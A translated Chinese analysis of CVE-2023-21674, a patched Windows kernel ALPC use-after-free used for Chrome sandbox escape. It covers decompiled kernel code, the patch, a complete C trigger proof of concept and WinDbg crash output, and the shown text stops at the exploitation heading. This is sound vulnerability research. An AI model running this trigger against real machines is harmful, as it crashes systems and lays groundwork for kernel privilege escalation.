N-days Chaining 漏洞利用分析 Part 2 :Chrome 沙盒逃逸

译者:知道创宇404实验室翻译组
原文链接:Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape)

本文为在X上演示的 N-days Chaining 漏洞利用分析第 2 篇。本文我们将介绍如何利用Windows内核漏洞逃逸Chrome沙盒。该漏洞是CVE-2023-21674,一种在NTOS内核中的Use-After-Free漏洞。

此漏洞是2023年第一个Windows内核在野漏洞。

1 Advanced Local Procedure Call(ALPC)

ALPC 是为了快速消息通信而开发的进程间通信功能。它自 Windows Vista开始就已经发布,主要用于在进程之间发送和接收数据。在ALPC出现之前,旧的Windows NT内核使用同步进程间通信,因此服务器和客户端必须等待消息。然而,ALPC支持异步通信,因此有时也称为异步LPC。

大多数ALPC API都没有文档记录,但可以参考像csandker-BlogGarnier-Reccon2008分析文档。

在Windows中,有许多ALPC端口,它们可以通过WinObj.exe列出。

N-days Chaining 漏洞利用分析 Part 2 :Chrome 沙盒逃逸

一般情况下,ALPC端口通过NtAlpcCreatePort创建,并通过其他进程使用NtAlpcConnectPort[Ex]连接,然后通过NtAlpcAcceptConnectPort接受客户端。连接建立后,消息通过NtAlpcSendWaitReceivePort进行传递。因此,ALPC通信的整体流程如下所示。

N-days Chaining 漏洞利用分析 Part 2 :Chrome 沙盒逃逸

可以从这里查看 ALPC 服务器和客户端代码

2 The Flag ALPC_MSGFLG_SYNC_REQUEST

Flag ALPC_MSGFLG_SYNC_REQUEST(0x20000) 是该漏洞中最重要的值。正如从名称中推断的那样,它决定是否同步处理 ALPC 消息。

要理解 ALPC 的消息流程,先从 NtAlpcSendWaitReceivePort 系统调用开始。

__int64 __fastcall NtAlpcSendWaitReceivePort(HANDLE Handle, ULONG flag, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER Timeout)
{
  ...
  result = ObReferenceObjectByHandle(Handle, 1u, AlpcPortObjectType, prev_mode, (PVOID *)&alpc_port_object, 0i64);
  if ( result >= 0 )
  {
    ...
    if ( _bittest((const int *)&flag_and, 0x11u) )// ALPC_MSGFLG_SYNC_REQUEST(0x20000)
    {
      if ( SendMessage )
      {
        // Check Some flags
        if ( _bittest((const int *)&flag_and, 0x10u) )// ALPC_MSGFLG_RELEASE_MESSAGE(0x10000)
        {
          result = 0xC00000F0;
        }
        else if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000
        {
          result = 0xC00000F0;
        }
        else if ( ReceiveMessage )
        {
          // Both of `SendMessage` and `ReceiveMessage` must exist.
          result = AlpcpProcessSynchronousRequest(
                  alpc_port_object, flag_and, SendMessage, SendMessageAttributes,
                  ReceiveMessage, BufferLength, ReceiveMessageAttributes, Timeout, prev_mode);
        }
        else
        {
          result = 0xC0000705;
        }
      }
      else
      {
        result = 0xC00000F0;
      }
    }
    else
    {
      dispatchContext.PortObject = alpc_port_object;
      dispatchContext.Flags = flag_and;
      if ( !SendMessage )
      {
        if ( ReceiveMessage )
          // Receive Message via calling AlpcpReceiveMessage
      }
      if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000
      {
        result = 0xC00000F0;
      }
      else
      {
        // Send Message via calling AlpcpSendMessage
      }
    }
  }
  ...
}

NtAlpcSendWaitReceivePort 从用户提供的句柄中检索 ALPC 对象(alpc_port_object),并根据 flag 执行不同的分支。当该flag 被设置时,必须通过函数 AlpcpProcessSynchronousRequest 连续进行发送和接收消息;在这种情况下,SendMessage 和 ReceiveMessage 都不应为 NULL。另一方面,当 flag 未设置时,用户一次只能执行一个任务,即发送或接收消息,但具体取决于是否存在 SendMessage 和 ReceiveMessage 参数。

__int64 __fastcall AlpcpProcessSynchronousRequest(_ALPC_PORT *alpc_port_object, unsigned int flag_and, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER timeout, int prev_mode)
{
  ...
  /*
    [1]. Check Address and Get Port Objects
    ~~~ Omitted ~~~
  */
  if ( ConnectionPort && ObReferenceObjectSafe((__int64)ConnectionPort) )
  {
    u1State = alpc_port_object->u1.State;
    ...
    // [2].Send message
    dispatchContext.PortObject = alpc_port_object;
    dispatchContext.Flags = flag_and;
    if ( (u1State & 0x1000) != 0 )
      result = AlpcpSendLegacySynchronousRequest(alpc_port_object, &dispatchContext, SendMessage, prev_mode);
    else
      result = AlpcpSendMessage(&dispatchContext, SendMessage, SendMessageAttributes, prev_mode);
    if ( result < 0 )
      goto LABEL_95;
    if ( _bittest((const int *)&flag_and, 0x14u) )
    {
      prevmode = 1;
    }
    else
    {
      prevmode = KeGetCurrentThread()->PrevMode;
    }
    RecvMesssage = 0i64;
    dispatchContext.PortObject = ConnectionPort;
    // [3].Receive message
    result = AlpcpReceiveSynchronousReply(
            &dispatchContext.PortObject,
            v34,
            (_KALPC_MESSAGE **)&RecvMesssage,
            AllocAttr,
            timeout);

    // Copy the Received Data

AlpcpProcessSynchronousRequest 在验证参数地址 ([1])后检索 ALPC 端口对象,然后通过 AlpcpReceiveSynchronousReply ([3]) 同步接收响应。

下面来看看 AlpcpSendMessage 分析发送消息的过程。(AlpcpSendLegacySynchronousRequest 也在内部调用 AlpcpSendMessage。)

__int64 __fastcall AlpcpSendMessage(_ALPC_DISPATCH_CONTEXT *dispatchContext, _PORT_MESSAGE *sendPortMsg, _ALPC_MESSAGE_ATTRIBUTES *sendMsgAttributes, char accessMode)
{
  ...
  // Copy the user message to `copied_sendMsg`
  // [4]. Validate the message
  result = AlpcpValidateMessage((unsigned __int16 *)&copied_sendMsg, flags_check);
  if ( (int)result < 0 )
    return result;
  MessageID = copied_sendMsg.MessageId;
  ...
  // [5]. Get Message or Create Message
  if ( MessageID )
  {
    dispatch_ctx_flag |= 0x10u;
    result = AlpcpLookupMessage(port_obj, MessageID, copied_sendMsg.CallbackId, accessMode, &alpc_message);
    ...
    // Validate `alpc_message`
  }
  else{
    ...
    // nt!AlpcpAllocateMessageFunction4
    object = (PSLIST_ENTRY)qword_140CEBC70(dword_140CEBC64, dword_140CEBC6C, dword_140CEBC68);
    if ( !object )
      return 3221225626i64;
    alpc_message_ = (_KALPC_MESSAGE *)(object + 48);
    ...
    // Setup the Data for `alpc_message`
  }

  // [6]. Dispatch Message
  dispatchContext->Message = alpc_message_;
  dispatchContext->TotalLength = copied_sendMsg.u1.s1.TotalLength;
  *(_DWORD *)&dispatchContext->Type = copied_sendMsg.u2.ZeroInit;
  if ( alpc_message_->OwnerPort )
  {
    // The message is found by `AlpcpLookupMessage`
    if ( alpc_message_->WaitingThread )
      result = AlpcpDispatchReplyToWaitingThread(dispatchContext);
    else
      result = AlpcpDispatchReplyToPort(dispatchContext);
  }
  else
  {
    // The message is newly created
    result = AlpcpDispatchNewMessage(dispatchContext);
  }
}

AlpcpSendMessage 首先将用户消息复制到内核内存,并通过 AlpcpValidateMessage ([4]) 进行验证。如果消息有 MessageID,则在 MessageID 上进行查找以检索相应的消息对象。否则,将创建一个新的 ALPC 消息对象 ([5])。

然后,在 [6]处,根据消息中的字段,消息由 AlpcpDispatchReplyToWaitingThreadAlpcpDispatchReplyToPort 或 AlpcpDispatchNewMessage 处理。这些函数以类似的方式处理 ALPC_MSGFLG_SYNC_REQUEST,而其他处理部分可能有所不同。

以下是处理 ALPC_MSGFLG_SYNC_REQUEST 的简化代码。

// Setup message and Insert message into QUEUE

// The common routine for `ALPC_MSGFLG_SYNC_REQUEST` Flag
curthread = (struct _ETHREAD *)KeGetCurrentThread();
if(flag & 0x20000 != 0) // ALPC_MSGFLG_SYNC_REQUEST
{
  message->WaitingThread = curthread;
  _InterlockedExchange64((volatile __int64 *)&curthread->AlpcMessageId, (__int64)message);
}

当设置了 ALPC_MSGFLG_SYNC_REQUEST 标志后,消息中的 WaitingThread 被设置为当前线程对象,并且AlpcMessageId 当前线程的值被设置为消息的地址。由于消息将被同步处理,因此响应的目标线程必须是当前线程。

另一方面,如果在没有 ALPC_MSGFLG_SYNC_REQUEST 标志的情况下发送消息,则 WaitingThread 被初始化为 NULL,如下代码所示。

__int64 __fastcall AlpcpDispatchReplyToWaitingThread(_ALPC_DISPATCH_CONTEXT *dispatchContext)
{
  ...
  portQueue = message->PortQueue;
  if ( portQueue ){
    // Remove message from port Queue
  }
  ...
  // ALPC_MSGFLG_SYNC_REQUEST is NOT set
  if ( (flags & 0x20000) == 0 )
  {
    message->WaitingThread = NULL;
    ...
  }
}

在 AlpcpSendMessage 中发送消息后,会调用 AlpcpReceiveSynchronousReply ([3]) 来获取响应。([3] 位于本文的顶部。)

__int64 __fastcall AlpcpReceiveSynchronousReply(
        _ALPC_DISPATCH_CONTEXT *dispatchContext,
        KPROCESSOR_MODE prevmode,
        _KALPC_MESSAGE **recvMsg,
        int AllocatedAttributes,
        PLARGE_INTEGER timeout)
{

  CurrentThread = KeGetCurrentThread();
  PortObject = dispatchContext->PortObject;
  // [7]. Blocking while receiving
  result = AlpcpSignalAndWait(dispatchContext, &CurrentThread->1160, WrLpcReply, prevmode, timeout, 1);
  // [8]. Get Message and Nullify AlpcMessageId
  message = (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&CurrentThread->AlpcMessageId, 0i64);
  msgState = message->u1.State & 0xFFFFFFF8;
  ...
  // Check Message State
  if ( result_ != NT_SUCCESS )
  {
    // Something ERROR
    if ( message->WaitingThread == CurrentThread )
    {
      // [9]. Initialize the WaitingThread to NULL
      message->WaitingThread = 0i64;
      --WORD1(message[-1].PortMessage.DoNotUseThisField);
      if ( (message->u1.State & 0x80u) != 0 )
        AlpcpUnlockMessage((ULONG_PTR)message);
      else
        AlpcpCancelMessage(port_obj, message, 0);
      return result_;
    }
    AlpcpWaitForSingleObject(&CurrentThread->1160, WrLpcReply, 0, 0, 0i64);
    v15 = message->u1.State;
    result_ = 0;
  }
  ...

  // [10]. Check that Message is Ready
  if ( _bittest((const int *)&msgState, 9u) )
  {
    msgAttr = (message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0) | 0x40000000;
    if ( !message->MessageAttributes.View )
      msgAttr = message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0;
    if ( !message->MessageAttributes.HandleData )
      msgAttr = msgAttr;
    else
      msgAttr = msgAttr | 0x10000000;
    if ( (msgAttr & AllocatedAttributes) == 0 )
    {
      message->PortMessage.u2.s2.Type &= 0xDFFFu;
      *recvMsg = message;
      return result_;
    }
  }
  ...
}

AlpcpReceiveSynchronousReply 通过调用 AlpcpSignalAndWait 等待响应,并阻塞调用线程。当另一个进程发送对该消息的响应时, WaitingThread 消息的内容将根据回复进程的标志值进行更新 ([7])。如果进程在没有 ALPC_MSGFLG_SYNC_REQUEST 标志的情况下回复,则消息的 WaitingThread 将根据上文解释更改为 NULL;否则,它将是回复线程的地址。

当 AlpcpSignalAndWait 返回后,当前线程的 AlpcMessageId 中的消息对象被检索,并且 AlpcMessageId 字段被置空 ([8])。如果由于某些原因(例如超时) AlpcpSignalAndWait 返回任何错误,则 result 将不是 NT_SUCCESS,并且消息的 WaitingThread 将保持不变。在这种情况下,消息的 WaitingThread 被设置为 NULL ([9])。

如果消息接收成功,则AlpcpReceiveSynchronousReply 检查消息的状态并验证其属性 ([10])。当所有检查都通过时,消息将被返回并复制到用户内存中。

综上所述,在 AlpcpReceiveSynchronousReply 函数结束时, AlpcMessageId 当前线程的 of将被更改为 NULL,而消息的 WaitingThread 将具有 NULL 或回复线程的地址。

3 CVE-2023–21674

以下是两个实体之间ALPC通信过程中说的 WaitingThread 和 AlpcMessageId 值的变化。在这里,Thread1 发起连接并发送带有 ALPC_MSGFLG_SYNC_REQUEST 的消息,而 Thread2 回复消息时未使用 ALPC_MSGFLG_SYNC_REQUEST

N-days Chaining 漏洞利用分析 Part 2 :Chrome 沙盒逃逸

在上述情况下,如果通信没有任何错误,消息的 WaitingThread 和当前线程的 AlpcMessageId 都将始终为 NULL

然而,让我们考虑另一种情况,即只有 Thread1,并且在设置了 ALPC_MSGFLG_SYNC_REQUEST 的情况下发送带有 set 的ALPC消息后立即返回。然后 WaitingThread 消息的of将指向当前线程。在这种情况下,如果终止了 Thread1(即被释放),那么 WaitingThread 消息的指针将是一个悬空指针,指向已释放的线程对象。因此此后对其的任何取消引用都将导致 Use-After-Free 漏洞。

这是 CVE-2023–21674 的根本原因,它可以从系统调用 NtWaitForWorkViaWorkerFactory 中触发。

__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork)
{
  ...
  DeferredWork_ = DeferredWork;
  ...
  if ( (DeferredWork_.Flags & 1) != 0 )
  {
    sendPortMsg = DeferredWork_.AlpcSendMessage;
    sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;
    sendMessagePort = DeferredWork_.AlpcSendMessagePort;
    memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));
    sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;
    ...
    if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )
    {
      if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )
      {
        ...
        dispatch_ctx.PortObject = alpc_port;
        dispatch_ctx.Flags = sendMessageFlags_and | 4;
        dispatch_ctx.TargetPort = 0i64;
        dispatch_ctx.TargetThread = 0i64;
        dispatch_ctx.DirectEvent.Value = 0i64;
        result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)
        ...
}

NtWaitForWorkViaWorkerFactory 的最后一个参数是用户提供的 DeferredWork,由 _WORKER_FACTORY_DEFERRED_WORK 结构表示。

// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1217

typedef struct _WORKER_FACTORY_DEFERRED_WORK
{
    struct _PORT_MESSAGE *AlpcSendMessage;
    PVOID AlpcSendMessagePort;
    ULONG AlpcSendMessageFlags;
    ULONG Flags;
} WORKER_FACTORY_DEFERRED_WORK, *PWORKER_FACTORY_DEFERRED_WORK;

_WORKER_FACTORY_DEFERRED_WORK 结构具有指向 ALPC 消息的指针和一个标志位。因此,我们可以通过设置 ALPC_MSGFLG_SYNC_REQUEST 调用 NtWaitForWorkViaWorkerFactory 来触发漏洞。

N-days Chaining 漏洞利用分析 Part 2 :Chrome 沙盒逃逸

4 CVE-2023–21674 补丁

__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork)
{
  ...
  DeferredWork_ = DeferredWork;
  ...
  if ( (DeferredWork_.Flags & 1) != 0 )
  {
    sendPortMsg = DeferredWork_.AlpcSendMessage;
    sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;
    sendMessagePort = DeferredWork_.AlpcSendMessagePort;
    memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));
    sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;
+   if ( _bittest((const int *)&sendMessageFlags_and, 0x11u) ) // checks ALPC_MSGFLG_SYNC_REQUEST
+       goto ERROR;
    ...
    if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )
    {
      if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )
      {
        ...
        dispatch_ctx.PortObject = alpc_port;
        dispatch_ctx.Flags = sendMessageFlags_and | 4;
        dispatch_ctx.TargetPort = 0i64;
        dispatch_ctx.TargetThread = 0i64;
        dispatch_ctx.DirectEvent.Value = 0i64;
        result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)
        ...
}

补丁非常简单。如果 AlpcSendMessageFlags 值包含 ALPC_MSGFLG_SYNC_REQUEST,那么 NtWaitForWorkViaWorkerFactory 报错。

5 触发漏洞

要触发漏洞,我们应通过 NtWaitForWorkViaWorkerFactory 发送一个 ALPC 消息。

// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1225

NTSYSCALLAPI
NTSTATUS
NTAPI
NtWaitForWorkViaWorkerFactory(
    _In_ HANDLE WorkerFactoryHandle,
    _Out_writes_to_(Count, *PacketsReturned) struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets,
    _In_ ULONG Count,
    _Out_ PULONG PacketsReturned,
    _In_ struct _WORKER_FACTORY_DEFERRED_WORK* DeferredWork
    );

如上面的函数定义所示,我们需要一个 WorkerFactory 对象的句柄。这个对象可以通过调用 NtCreateWorkerFactory 来创建。

NTSTATUS NtCreateWorkerFactory(
    _Out_ PHANDLE WorkerFactoryHandleReturn,
    _In_ ACCESS_MASK DesiredAccess,
    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_ HANDLE CompletionPortHandle, // We need CompletionPortHandle
    _In_ HANDLE WorkerProcessHandle,
    _In_ PVOID StartRoutine,
    _In_opt_ PVOID StartParameter,
    _In_opt_ ULONG MaxThreadCount,
    _In_opt_ SIZE_T StackReserve,
    _In_opt_ SIZE_T StackCommit
);

要通过 NtCreateWorkerFactory 系统调用成功创建一个 WorkerFactory 对象,还需要一个 IoCompletion 对象的句柄。它可以通过 NtCreateIoCompletion 来创建。

NTSTATUS NtCreateIoCompletion(
  OUT PHANDLE             IoCompletionHandle,
  IN ACCESS_MASK          DesiredAccess,
  IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,
  IN ULONG

最后,我们可以如下创建一个 WorkerFactory 对象。

ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);
if (ntstatus != 0) {
  printf("[-] NtCreateIoCompletion ERROR : %p\n", ntstatus);
  return -1;
}
printf("[+] IO_COMPLETION_HANDLE : %p\n", hIoComp);

ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
if (ntstatus != 0) {
  printf("[-] NtCreateWorkerFactory ERROR : %p\n", ntstatus);
  return -1;
}
printf("[+] WORKER_FACTORY_HANDLE : %p\n", hWorkerFactory);

接下来,我们需要一个 ALPC 端口句柄。NtAlpcCreatePort 需要一个 ALPC 端口的名称,如 \RPC Control\Test,但我们也可以通过将 ObjectAttributes 设置为 NULL 来创建一个匿名端口。

RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
serverPortAttr.Flags = 0x20000;
// NtAlpcCreatePort (_Out_ PHANDLE PortHandle, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes)
ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);
if (ntstatus != 0) {
  printf("[-] NtAlpcCreatePort ERROR : %p\n", ntstatus);
  return -1;
}
printf("[+] ALPC_PORT : %p\n", hPort);

最后,我们准备通过使用正确的参数调用 NtWaitForWorkViaWorkerFactory 系统,来触发漏洞。

LPVOID CreateMsgMem(PPORT_MESSAGE PortMessage, SIZE_T MessageSize, LPVOID Message)
{
  /*
      It's important to understand that after the PORT_MESSAGE struct is the message data
  */
  LPVOID lpMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MessageSize + sizeof(PORT_MESSAGE));
  memmove(lpMem, PortMessage, sizeof(PORT_MESSAGE));
  memmove((BYTE*)lpMem + sizeof(PORT_MESSAGE), Message, MessageSize);
  return(lpMem);
}

int trigger() {
  NTSTATUS ntstatus;
  ULONG outlen = 0;

  ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);
  if (ntstatus != 0) {
    printf("[-] NtCreateIoCompletion ERROR : %p\n", ntstatus);
    return -1;
  }
  printf("[+] IO_COMPLETION_HANDLE : %p\n", hIoComp);

  ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
  if (ntstatus != 0) {
    printf("[-] NtCreateWorkerFactory ERROR : %p\n", ntstatus);
    return -1;
  }
  printf("[+] WORKER_FACTORY_HANDLE : %p\n", hWorkerFactory);


  PORT_MESSAGE    pmSend;
  LPVOID lpMem;
  ALPC_PORT_ATTRIBUTES    serverPortAttr;

  RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
  serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
  serverPortAttr.Flags = 0x20000;
  ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);
  if (ntstatus != 0) {
    printf("[-] NtAlpcCreatePort ERROR : %p\n", ntstatus);
    return -1;
  }
  printf("[+] ALPC_PORT : %p\n", hPort);

  piocomp = (PFILE_IO_COMPLETION_INFORMATION)malloc(0x100);
  pwfdw = (PWORKER_FACTORY_DEFERRED_WORK)malloc(0x100);


  RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
  pmSend.u1.s1.DataLength = MSG_LEN;
  pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);
  pmSend.MessageId = 0;
  pmSend.CallbackId = 0;
  lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)L"AAAAAAAAAAAAAAAAAAA");

  pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;
  pwfdw->AlpcSendMessagePort = hPort;
  pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST
  pwfdw->Flags = 0x1;

  printf("[+] Trigger Vulnerability\n");
  NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);

  return 0;
};

int main() {
  // Create Thread
  DWORD threadid = 0;
  HANDLE hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)trigger, NULL, 0, &threadid);
  //WaitForSingleObject(hthread, INFINITE);
  Sleep(500);
  TerminateThread(hthread, -1);
  CloseHandle(hthread);

  printf("[+] Close Some Handles\n");

  CloseHandle(hWorkerFactory);
  CloseHandle(hIoComp);

  CloseHandle(hPort); // Trigger UAF
}

在一个单独的线程中调用NtWaitForWorkViaWorkerFactory,然后通过调用TerminateThreadCloseHandle终止该线程;这些步骤将创建一个 ALPC 消息对象,该对象的WaitingThread字段中有一个悬空指针。 最终,关闭端口会对ALPC对象进行清理,从而取消引用悬空指针(UAF)。

__int64 __fastcall AlpcpCancelMessage(_ALPC_PORT *a1, _KALPC_MESSAGE *msg, int a3)
{
  ...
  freed_thread = msg->WaitingThread;
  if ( freed_thread )
  {
    // Freed thread is referenced here when the ALPC object is freed.
    if ( (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&freed_thread->AlpcMessageId, 0i64) == msg )
    {
      HIWORD(msg[-1].PortMessage.8) -= 2;
      msg->WaitingThread = 0i64;
      KeReleaseSemaphoreEx((__int64)&freed_thread->1160, 1u, 1, v20, 2);
    }
  }
  ...
}
  0: kd> g
Breakpoint 0 hit
nt!AlpcpCancelMessage+0x353:
fffff801`4d8bc737 48878128050000  xchg    rax,qword ptr [rcx+528h]

0: kd> !object @rcx
Object: ffffd38aa9d76080  Type: (ffff9901c3b7a000)
    ObjectHeader: ffffd38aa9d76050 (new version)
    HandleCount: 0  PointerCount: 0
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ref Count is ZERO!!!!

0: kd> !pool @rcx
Pool page ffffd38aa9d76080 region is Nonpaged pool
*ffffd38aa9d76000 size:  700 previous size:    0  (Free ) *.... (Protected) Process: 4e48033601c30916
        Owning component : Unknown (update pooltag.txt)
  ==> @rcx is freed  

如果在 ntoskrnl.exe 上启用了验证器,就可以看到崩溃情况。

*** Fatal System Error: 0x00000050
                       (0xFFFFE70E9EB60BA8,0x0000000000000002,0xFFFFF80766AC8737,0x0000000000000002)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`6680e840 cc              int     3
1: kd> !analyze -v
Connected to Windows 10 19041 x64 target at (Mon Jan 16 20:18:10.078 2023 (UTC + 9:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
............................................................
Loading User Symbols
......
Loading unloaded module list
......
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffe70e9eb60ba8, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80766ac8737, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)
...

TRAP_FRAME:  ffffa701a41aa650 -- (.trap 0xffffa701a41aa650)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000000 rbx=0000000000000000 rcx=ffffe70e9eb60680
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80766ac8737 rsp=ffffa701a41aa7e0 rbp=0000000000000001
 r8=00000000ffffffff  r9=7fffe70e9eb667b8 r10=7ffffffffffffffc
r11=ffffa701a41aa8b0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
nt!AlpcpCancelMessage+0x353:
fffff807`66ac8737 48878128050000  xchg    rax,qword ptr [rcx+528h] ds:ffffe70e`9eb60ba8=????????????????
Resetting default scope

STACK_TEXT:
ffffa701`a41a9bf8 fffff807`669214a2     : ffffa701`a41a9d60 fffff807`66789a50 fffff807`6640c000 00000000`00000000 : nt!DbgBreakPointWithStatus
ffffa701`a41a9c00 fffff807`66920a86     : fffff807`00000003 ffffa701`a41a9d60 fffff807`6681c640 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffa701`a41a9c60 fffff807`668053a7     : 00000000`00000000 00000000`00000000 ffffe70e`9eb60ba8 ffffe70e`9eb60ba8 : nt!KeBugCheck2+0x946
ffffa701`a41aa370 fffff807`6684021d     : 00000000`00000050 ffffe70e`9eb60ba8 00000000`00000002 ffffa701`a41aa650 : nt!KeBugCheckEx+0x107
ffffa701`a41aa3b0 fffff807`66645a40     : 00000000`00000000 00000000`00000002 ffffa701`a41aa6d0 00000000`00000000 : nt!MiSystemFault+0x1dc7ad
ffffa701`a41aa4b0 fffff807`66814dd8     : ffffe70e`9e3b0000 fffff807`66702dcc ffffe70e`76b4ef80 ffffe70e`71215100 : nt!MmAccessFault+0x400
ffffa701`a41aa650 fffff807`66ac8737     : ffffd70c`f67eace0 ffffd70c`00000000 00000000`00000000 00000000`00000000 : nt!KiPageFault+0x358
ffffa701`a41aa7e0 fffff807`66ac64e1     : ffffffff`00000001 ffffe70e`9e70ee20 ffffe70e`00010000 ffffe70e`9e70ee20 : nt!AlpcpCancelMessage+0x353
ffffa701`a41aa860 fffff807`66ac624f     : ffffffff`ffffffff ffffe70e`9e70ee20 ffffe70e`9e70ef80 ffffe70e`79760f00 : nt!AlpcpFlushQueue+0xfd
ffffa701`a41aa8a0 fffff807`66ac608b     : ffffe70e`00000000 ffffffff`ffffffff ffffa701`a41aaa39 ffffe70e`9e70ef80 : nt!AlpcpFlushMessagesPort+0x27
ffffa701`a41aa8e0 fffff807`66ac5fca     : ffffe70e`9e70ee20 00000000`00000000 ffffe70e`9eb66380 ffffa701`a41aaa39 : nt!AlpcpDoPortCleanup+0x8f
ffffa701`a41aa920 fffff807`66a101ef     : ffffd70c`f2ccd2b0 00000000`00000000 ffffd70c`00000000 ffffd70c`f2ccd2b0 : nt!AlpcpClosePort+0x4a
ffffa701`a41aa950 fffff807`66a141cc     : 00000000`000000ac 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ObCloseHandleTableEntry+0x51f
ffffa701`a41aaa90 fffff807`66818af5     : ffffe70e`9eb60600 ffffe70e`7f4ae680 ffffa701`a41aab80 ffffe70e`00000000 : nt!NtClose+0xec
ffffa701`a41aab00 00007ffb`de2ed2a4     : 00007ffb`dbfe6575 00000000`00000000 00000000`00001b04 00000204`f3f78320 : nt!KiSystemServiceCopyEnd+0x25
000000a4`4bb7faf8 00007ffb`dbfe6575     : 00000000`00000000 00000000`00001b04 00000204`f3f78320 00000000`00000000 : ntdll!NtClose+0x14
000000a4`4bb7fb00 00007ff7`e4fe148f     : 00007ff7`e4fe3558 00000000`00000000 000000a4`4bb7faf8 00000000`00000000 : KERNELBASE!CloseHandle+0x45

6 Exploitation

